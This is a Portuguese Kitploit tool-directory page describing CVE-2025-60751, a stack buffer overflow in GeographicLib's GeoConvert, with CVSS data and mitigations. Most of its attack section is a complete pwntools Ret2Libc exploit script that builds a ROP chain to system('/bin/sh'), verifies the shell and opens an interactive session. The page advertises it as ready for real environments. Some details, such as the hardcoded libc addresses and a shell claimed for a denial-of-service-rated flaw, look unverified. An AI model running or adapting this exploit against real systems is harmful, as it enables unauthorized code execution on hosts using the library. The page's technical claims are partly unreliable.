Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-60751 — Análise técnica e exploração profissional para CVE-2025-60751, um buffer overflow baseado em pilha no GeographicLib. Inclui exploração Ret2Libc baseada em pwntools com descoberta dinâmica de gadgets ROP, integração GDB e verificação pós-exploração para testes de penetração educacionais. | Kitploit
Ferramentas/GitHubGitHub/kaleth4/cve-2025-60751
Análise de VulnerabilidadesExploraçãoEngenharia ReversaShellcodeDepuradoresTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de PayloadsExploração de Binários
GitHubkaleth4/cve-2025-60751

CVE-2025-60751

Ver Repositório
3há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

Análise técnica e exploração profissional para CVE-2025-60751, um buffer overflow baseado em pilha no GeographicLib. Inclui exploração Ret2Libc baseada em pwntools com descoberta dinâmica de gadgets ROP, integração GDB e verificação pós-exploração para testes de penetração educacionais.

Compartilhar

CVE-2025-60751: GeographicLib Stack-based Buffer Overflow

📌 Este repositório contém a análise e a documentação técnica da vulnerabilidade CVE-2025-60751, uma falha de estouro de buffer baseado na pilha (Stack-based Buffer Overflow) localizada na biblioteca C++ GeographicLib.


📝 Descrição

A vulnerabilidade está na função DMS::InternalDecode dentro do componente GeoConvert.
A falha ocorre quando a biblioteca tenta processar strings de coordenadas no formato DMS (Graus, Minutos, Segundos) malformadas ou excessivamente longas, o que provoca uma escrita fora dos limites do buffer alocado na pilha.

  • Identificador: CVE-2025-60751
  • Componente: GeoConvert / DMS::InternalDecode
  • Tipo: Stack-based Buffer Overflow ()
CWE-121
  • Gravidade (CVSS 3.1): 7.5 HIGH
  • Vetor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • 🔍 Impacto

    Um atacante remoto pode enviar uma string de coordenadas especialmente criada para:

    • Negação de Serviço (DoS): Provocar o encerramento inesperado (crash) de aplicações que utilizem GeographicLib para converter coordenadas.
    • Instabilidade do Sistema: Corromper a memória adjacente na pilha, afetando o fluxo de execução do programa.

    ⚠️ Nota técnica: Embora o vetor atual se concentre em Disponibilidade (A:H), em ambientes específicos sem proteções de memória modernas (como Stack Canaries, NX bit ou ASLR ativo), essa falha poderia potencialmente escalar para execução arbitrária de código.


    💻 Sistemas Afetados

    ProdutoVersão vulnerávelDistribuições detectadas
    GeographicLib2.5Pacotes no Debian LTS, Ubuntu e outros repositórios Linux que integram esta versão

    🛠️ Mitigação e Solução

    ✅ Atualização: Recomenda-se fortemente atualizar para a última versão disponível do GeographicLib, onde a validação de comprimento em InternalDecode foi corrigida.

    ✅ Validação de Entrada: Se não for possível atualizar, implemente uma camada de saneamento que limite o comprimento das strings enviadas a DMS::Decode (ex.: máx. 32 caracteres).

    ✅ Compilação Segura: Certifique-se de compilar a biblioteca com flags de proteção de pilha:

    root@kitploit:~
    -fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
    

    📚 Referências

    • Issue #43 – GeographicLib GitHub
    • Análise técnica de zer0matt
    • Debian LTS Advisory

    💀 Exploit Profissional (Nível Avançado — OSCP / Exploit-DB Style)

    Este exploit utiliza pwntools para realizar um ataque Ret2Libc aproveitando o estouro de buffer.
    Diferente de versões básicas, esta implementação é robusta, dinâmica e verificável, pronta para ambientes reais de pentest e laboratórios.

    ✅ O que o torna "Pro"?

    CaracterísticaBenefício
    ROP(elf) dinâmicoNão depende de gadgets hardcoded: encontra-os automaticamente no binário.
    Suporte integrado para GDBExecute python exploit.py GDB → abre sessão de depuração automática.
    Verificação pós-exploitEnvia id e confirma shell antes de entregar o controle interativo.
    RET para alinhamento de stackEvita crashes em system() por alinhamento incorreto (crítico em x64).
    Payload estruturado como list + b"".join()Limpo, legível, fácil de modificar e estender.

    🐍 Código do exploit (exploit.py)

    root@kitploit:~
    #!/usr/bin/env python3
    from pwn import *
    
    # --- INFO ---
    # CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
    # Autor: Refactored for Robustness
    # --- --- ---
    
    context.binary = elf = ELF("./GeoConvert")
    context.log_level = 'info'
    
    def exploit():
        # 1. Gestión de procesos (Local vs Remoto)
        if args.GDB:
            io = gdb.debug([elf.path], gdbscript="""
                b *main
                continue
            """)
        else:
            # ASAN puede interferir con los offsets si no se gestiona bien
            io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
    
        # 2. Localización Dinámica de Gadgets
        rop = ROP(elf)
        POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
        RET = rop.find_gadget(['ret'])[0]
        
        log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
    
        # 3. Fuga de Memoria (Leak) para Bypass de ASLR
        # En entornos reales: usar leak + libc-database o libc.rip.
        # Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
        LIBC_BASE = 0x7ffff7a00000  # Ejemplo — ¡debe ser dinámico en producción!
        SYSTEM = LIBC_BASE + 0x5d110
        BINSH  = LIBC_BASE + 0x1b1ea4
        EXIT   = LIBC_BASE + 0x4c340
    
        # 4. Construcción del Payload (Estructura Limpia & Aligned)
        offset = 136
        
        chain = [
            b"A" * offset,
            p64(RET),      # Stack Alignment (Crucial para Ubuntu/Debian modernos)
            p64(POP_RDI),
            p64(BINSH),
            p64(SYSTEM),
            p64(EXIT)
        ]
        
        payload = b"".join(chain)
    
        # 5. Ejecución y Verificación
        log.info("Sending payload and spawning shell...")
        io.sendline(payload)
        
        io.clean()
        io.sendline(b"id")
        res = io.recvline(timeout=2)
        
        if b"uid=" in res:
            log.success("Pwned! enjoy your shell.")
            io.interactive()
        else:
            log.error("Exploit failed or no output received.")
            io.close()
    
    if __name__ == "__main__":
        exploit()
    

    ⚠️ Aviso de Responsabilidade
    Este repositório tem finalidade puramente informativa e educativa para profissionais de cibersegurança.
    O uso desta informação para fins ilícitos é de responsabilidade exclusiva do usuário.
    ❗ Use o código com cautela: somente em ambientes autorizados, isolados e com permissão explícita.


    🔐 Segurança não é uma característica — é uma disciplina.
    📬 Relato de descobertas: [email protected]
    📦 Repositório oficial: https://github.com/geographiclib/geographiclib

    Baixar ferramenta